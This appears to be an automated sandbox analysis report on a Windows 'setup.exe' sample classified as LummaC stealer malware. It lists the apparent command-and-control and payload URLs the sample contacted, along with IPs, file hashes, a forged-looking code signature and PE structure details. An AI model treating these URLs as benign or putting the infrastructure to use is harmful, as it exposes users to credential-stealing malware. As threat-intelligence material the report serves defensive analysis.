https://cegu.shop/8574262446/ph.txtcmdh	setup.exe, 00000000.00000002.4583068445.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://swingybeattyz.sbs/api.	setup.exe, 00000000.00000003.2629928502.0000000001379000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2413012877.0000000001391000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583387688.0000000001379000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://swingybeattyz.sbs/m	setup.exe, 00000000.00000003.2401160674.0000000001323000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://swingybeattyz.sbs/	setup.exe, setup.exe, 00000000.00000003.2630094687.0000000001323000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2349301784.0000000001323000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583238565.0000000001326000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2413052550.0000000001323000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583068445.00000000012C9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.3041000487.0000000001325000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cegu.shop/	setup.exe, 00000000.00000002.4583068445.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://swingybeattyz.sbs/db1	setup.exe, 00000000.00000002.4583068445.00000000012C9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dfgh.online/invoker.php?compName=	setup.exe, 00000000.00000002.4583978482.000000000412B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583994280.0000000004145000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2629928502.0000000001379000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2630078716.000000000412B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583946336.0000000004129000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583387688.0000000001379000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://swingybeattyz.sbs/apiMC	setup.exe, 00000000.00000003.2363019004.0000000004130000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.starfieldtech.com/0D	setup.exe	false		high
https://swingybeattyz.sbs/apiUeF	setup.exe, 00000000.00000003.2374539297.000000000412A000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2389796197.000000000412D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2387103359.000000000412A000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2375426138.000000000412D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	setup.exe	false		high
http://x1.c.lencr.org/0	setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.starfieldtech.com/repository/sfsroot.crl0P	setup.exe	false		high
https://support.mozilla.org/products/firefoxgro.all	setup.exe, 00000000.00000003.2375453382.0000000004249000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cegu.shop:443/8574262446/ph.txtosoft	setup.exe, 00000000.00000002.4583158762.0000000001302000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2630144308.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.3040949208.0000000001300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.mozilla.or	setup.exe, 00000000.00000003.2375381883.0000000004165000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipvumisui.shop/int_clp_sha.txt	setup.exe, 00000000.00000003.2629928502.0000000001379000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583387688.0000000001379000.00000004.00000020.00020000.00000000.sdmp	false		high
https://swingybeattyz.sbs/%	setup.exe, 00000000.00000003.2349301784.0000000001323000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://swingybeattyz.sbs/apis	setup.exe, 00000000.00000003.2413012877.0000000001391000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://swingybeattyz.sbs:443/api	setup.exe, 00000000.00000002.4583158762.0000000001302000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2349301784.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2630144308.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.3040949208.0000000001300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://klipvumisui.shop/int_clp_sha.txt59	setup.exe, 00000000.00000003.2629928502.0000000001379000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583387688.0000000001379000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.thawte.com0	setup.exe	false		high
https://cegu.shop/8574262446/ph.txtY	setup.exe, 00000000.00000003.2630094687.0000000001323000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000002.4583238565.0000000001326000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000000.00000003.3041000487.0000000001325000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://swingybeattyz.sbs/apii	setup.exe, 00000000.00000002.4583068445.00000000012C9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	false		high
https://swingybeattyz.sbs:443/apil	setup.exe, 00000000.00000003.3040949208.0000000001300000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://certificates.starfieldtech.com/repository/1604	setup.exe	false		high
https://www.ecosia.org/newtab/	setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.symauth.com/cps0(	setup.exe	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	setup.exe, 00000000.00000003.2375453382.0000000004249000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cegu.shop/8574262446/ph.txtebKit/537.36	setup.exe, 00000000.00000002.4583868550.00000000034EB000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cegu.shop/8574262446/ph.txtn	setup.exe, 00000000.00000002.4583068445.00000000012EE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.starfieldtech.com/repository/0	setup.exe	false		high
http://www.symauth.com/rpa00	setup.exe	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	setup.exe, 00000000.00000003.2374761584.0000000004169000.00000004.00000800.00020000.00000000.sdmp	false		high
https://swingybeattyz.sbs/apiB	setup.exe, 00000000.00000003.2349301784.0000000001323000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	setup.exe, 00000000.00000003.2350444854.000000000416B000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350203005.000000000416D000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000000.00000003.2350747602.000000000416B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://multicommander.com/crashreport/report.phpHTTP/1.1/crashreport/report.phpPOST-----------------	setup.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.163.221	swingybeattyz.sbs	United States		13335	CLOUDFLARENETUS	true
185.161.251.21	cegu.shop	United Kingdom		5089	NTLGB	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584516
Start date and time:	2025-01-05 18:42:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.12.23.50, 173.222.162.64
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target setup.exe, PID 6036 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:43:29	API Interceptor	9x Sleep call for process: setup.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.163.221	https://coindex.bid/	Get hash	malicious	Unknown	Browse
185.161.251.21	'Set-up.exe	Get hash	malicious	LummaC	Browse
	Set-up.exe	Get hash	malicious	LummaC	Browse
	SET_UP.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	Full_Setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	SET_UP.exe	Get hash	malicious	LummaC	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cegu.shop	'Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	185.161.251.21

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
NTLGB	'Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	185.161.251.21
	momo.mips.elf	Get hash	malicious	Mirai	Browse	82.18.222.135
	momo.arm.elf	Get hash	malicious	Mirai	Browse	82.17.192.171
	momo.mpsl.elf	Get hash	malicious	Mirai	Browse	82.128.104.220
	momo.arm7.elf	Get hash	malicious	Mirai	Browse	86.15.30.49
CLOUDFLARENETUS	'Set-up.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	setup.msi	Get hash	malicious	Unknown	Browse	104.21.32.1
	Set-up.exe	Get hash	malicious	LummaC	Browse	104.21.21.63
	SET_UP.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.208.58
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.90.109
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	172.67.196.191
	momo.spc.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.ppc.elf	Get hash	malicious	Mirai	Browse	1.1.1.1
	momo.sh4.elf	Get hash	malicious	Mirai	Browse	1.1.1.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	'Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.163.221 185.161.251.21
	Set-up.exe	Get hash	malicious	LummaC	Browse	172.67.163.221 185.161.251.21
	SET_UP.exe	Get hash	malicious	LummaC	Browse	172.67.163.221 185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.163.221 185.161.251.21
	Setup.exe	Get hash	malicious	LummaC	Browse	172.67.163.221 185.161.251.21
	Full_Setup.exe	Get hash	malicious	LummaC	Browse	172.67.163.221 185.161.251.21
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	172.67.163.221 185.161.251.21
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	172.67.163.221 185.161.251.21
	3jL3mqtjCn.exe	Get hash	malicious	LummaC	Browse	172.67.163.221 185.161.251.21
	file.exe	Get hash	malicious	LummaC, PureLog Stealer	Browse	172.67.163.221 185.161.251.21

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	0.433672070581177
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	setup.exe
File size:	75'164'374 bytes
MD5:	6da280fb9c2da7913e9c801b4de02f47
SHA1:	119298d4791194344e819d512638165a1517525b
SHA256:	8e478472737ee141955d91e3c15c370ed92914eba06b21ad84fe056026b69e99
SHA512:	78f66c181d572bd0a12b748770578bb85b8c447c3fbc686d19b61bc226f185f512b6a3176fd04f147a5531fa281804b5fb393c3d30d0e6cd4a131d1c2ab5fe86
SSDEEP:	12288:FRjEparvru3GWf+6vk7A5oI+3qYc40Y+wyNdl3sT9xvgihDqOn0JroELnF0soYqn:/Eaq3GWZvkWoQk0y
TLSH:	61F74BAA7600AFF3A743366D0932FEDC95B6E0A0933198F7514921466D63CDC4BB2D39
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.........Y.F\|7.F\|7.F\|7...4.J\|7.W...D\|7...3.X\|7...2..\|7...1.G\|7.W.4._\|7.W.3.R\|7.W.2..\|7...6.Y\|7.F\|6..~7...2.P\|7.....G\|7.F\|..G\|7...5.G\|7

File Icon


Icon Hash:	e4a7aa2acada3ae0

Static PE Info

General

Entrypoint:	0x42d918
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x676969E3 [Mon Dec 23 13:47:15 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	f25ab2b89cf57e9099f9e15a113c344d

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=VeriSign Class 3 Code Signing 2010 CA, OU=Terms of use at https://www.verisign.com/rpa (c)10, OU=VeriSign Trust Network, O="VeriSign, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	27/07/2015 20:00:00 26/07/2018 19:59:59
Subject Chain	CN=NVIDIA Corporation, O=NVIDIA Corporation, L=SANTA CLARA, S=California, C=US
Version:	3
Thumbprint MD5:	F7219078FBE20BC1B98BF8A86BFC0396
Thumbprint SHA-1:	30632EA310114105969D0BDA28FDCE267104754F
Thumbprint SHA-256:	1B5061CF61C93822BDE2433156EEBE1F027C8FA9C88A4AF0EBD1348AF79C61E2
Serial:	14781BC862E8DC503A559346F5DCC518

Entrypoint Preview

Instruction
call 00007FAAE0D1516Fh
jmp 00007FAAE0D1464Fh
cmp ecx, dword ptr [0045E540h]
jne 00007FAAE0D147D3h
ret
jmp 00007FAAE0D14E7Eh
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007FAAE0CFA834h
pop ecx
pop ebp
ret
push ebp
mov ebp, esp
test byte ptr [ebp+08h], 00000001h
push esi
mov esi, ecx
mov dword ptr [esi], 004520D8h
je 00007FAAE0D147DCh
push 0000000Ch
push esi
call 00007FAAE0D147ADh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 0Fh
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007FAAE0D147EFh
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 07h
add eax, ecx
sbb ecx, ecx
or eax, ecx
pop ecx
jmp 00007FAAE0D147D9h
int3
int3
int3
int3
push ecx
lea ecx, dword ptr [esp+04h]
sub ecx, eax
sbb eax, eax
not eax
and ecx, eax
mov eax, esp
and eax, FFFFF000h
cmp ecx, eax
jc 00007FAAE0D147DCh
mov eax, ecx
pop ecx
xchg eax, esp
mov eax, dword ptr [eax]
mov dword ptr [esp], eax
ret
sub eax, 00001000h
test dword ptr [eax], eax
jmp 00007FAAE0D147BBh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5c04c	0x118	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x63000	0xc638	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x47ab116	0x39c0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x70000	0x57f6	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x56b30	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x56bc0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x56a70	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x49000	0x5bc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x47755	0x47800	5b3e1cef40bfe2b17ac7f363024b5816	False	0.5441740876311189	data	6.621047013216424	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x49000	0x14fd6	0x15000	80bb3174b628d0eec4a40f68d34202da	False	0.3810221354166667	data	5.01820436379118	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5e000	0x4c1c	0x2000	5a281789af0ef4dd6dc9ec1803756cba	False	0.206787109375	data	3.6036913248157205	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x63000	0xc638	0xc800	8200aac46d871db851325d09e4245420	False	0.3467578125	data	4.8528994197047135	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x70000	0x5ac00	0x5ac00	2a26492580dca5a32dc130cff269c665	False	0.6802228607093664	data	7.613071241008472	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x6c148	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4805194805194805
RT_CURSOR	0x6c280	0xb4	Targa image data - Map 32 x 65536 x 1 +16 "\001"	English	United States	0.7
RT_CURSOR	0x6c360	0x134	AmigaOS bitmap font "(", fc_YSize 4294967264, 5120 elements, 2nd "\377\360?\377\377\370\177\377\377\374\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.36363636363636365
RT_CURSOR	0x6c4b0	0x134	Targa image data - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.35714285714285715
RT_CURSOR	0x6c600	0x134	data	English	United States	0.37337662337662336
RT_CURSOR	0x6c750	0x134	data	English	United States	0.37662337662337664
RT_CURSOR	0x6c8a0	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	English	United States	0.36688311688311687
RT_CURSOR	0x6c9f0	0x134	Targa image data 64 x 65536 x 1 +32 "\001"	English	United States	0.37662337662337664
RT_CURSOR	0x6cb40	0x134	Targa image data - Mono - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.36688311688311687
RT_CURSOR	0x6cc90	0x134	Targa image data - RGB - RLE 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x6cde0	0x134	data	English	United States	0.44155844155844154
RT_CURSOR	0x6cf30	0x134	data	English	United States	0.4155844155844156
RT_CURSOR	0x6d080	0x134	AmigaOS bitmap font "(", fc_YSize 4294966847, 3840 elements, 2nd "\377?\374\377\377\300\003\377\377\300\003\377\377\340\007\377\377\360\017\377\377\370\037\377\377\374?\377\377\376\177\377\377\377\377\377\377\377\377\377\377\377\377\377", 3rd	English	United States	0.5422077922077922
RT_CURSOR	0x6d1d0	0x134	data	English	United States	0.2662337662337662
RT_CURSOR	0x6d320	0x134	data	English	United States	0.2824675324675325
RT_CURSOR	0x6d470	0x134	data	English	United States	0.3246753246753247
RT_BITMAP	0x6b808	0x728	Device independent bitmap graphic, 48 x 16 x 8, image size 768	English	United States	0.3558951965065502
RT_BITMAP	0x6d6e0	0xb8	Device independent bitmap graphic, 12 x 10 x 4, image size 80	English	United States	0.44565217391304346
RT_BITMAP	0x6d798	0x144	Device independent bitmap graphic, 33 x 11 x 4, image size 220	English	United States	0.37962962962962965
RT_ICON	0x63ff0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.43230277185501065
RT_ICON	0x64e98	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.48962093862815886
RT_ICON	0x65740	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.7050691244239631
RT_ICON	0x65e08	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.5252890173410405
RT_ICON	0x66370	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.2678423236514523
RT_ICON	0x68918	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.37335834896810505
RT_ICON	0x699c0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.6864754098360656
RT_ICON	0x6a348	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6400709219858156
RT_DIALOG	0x6aea8	0x408	data	English	United States	0.44089147286821706
RT_DIALOG	0x6a828	0x67c	data	English	United States	0.405421686746988
RT_DIALOG	0x6b2b0	0x1f4	data	English	United States	0.574
RT_DIALOG	0x6bf30	0x216	data	Swedish	Sweden	0.5299625468164794
RT_DIALOG	0x6d5c0	0xe8	data	English	United States	0.6336206896551724
RT_DIALOG	0x6d6a8	0x34	data	English	United States	0.9038461538461539
RT_STRING	0x6d8e0	0x54	data	English	United States	0.7023809523809523
RT_STRING	0x6d938	0x82	StarOffice Gallery theme p, 536899072 objects, 1st n	English	United States	0.7153846153846154
RT_STRING	0x6d9c0	0x2a	data	English	United States	0.5476190476190477
RT_STRING	0x6d9f0	0x184	data	English	United States	0.48711340206185566
RT_STRING	0x6db78	0x4ee	data	English	United States	0.375594294770206
RT_STRING	0x6e3f8	0x264	data	English	United States	0.3333333333333333
RT_STRING	0x6e118	0x2da	data	English	United States	0.3698630136986301
RT_STRING	0x6ee40	0x8a	data	English	United States	0.6594202898550725
RT_STRING	0x6e068	0xac	data	English	United States	0.45348837209302323
RT_STRING	0x6ed30	0xde	data	English	United States	0.536036036036036
RT_STRING	0x6e660	0x4a8	data	English	United States	0.3221476510067114
RT_STRING	0x6eb08	0x228	data	English	United States	0.4003623188405797
RT_STRING	0x6ee10	0x2c	data	English	United States	0.5227272727272727
RT_STRING	0x6eed0	0x53e	data	English	United States	0.2965722801788376
RT_GROUP_CURSOR	0x6c338	0x22	Lotus unknown worksheet or configuration, revision 0x2	English	United States	1.0294117647058822
RT_GROUP_CURSOR	0x6cb28	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x6c498	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x6c9d8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x6c888	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x6d1b8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x6c738	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x6cdc8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x6c5e8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x6cc78	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x6cf18	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x6d068	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
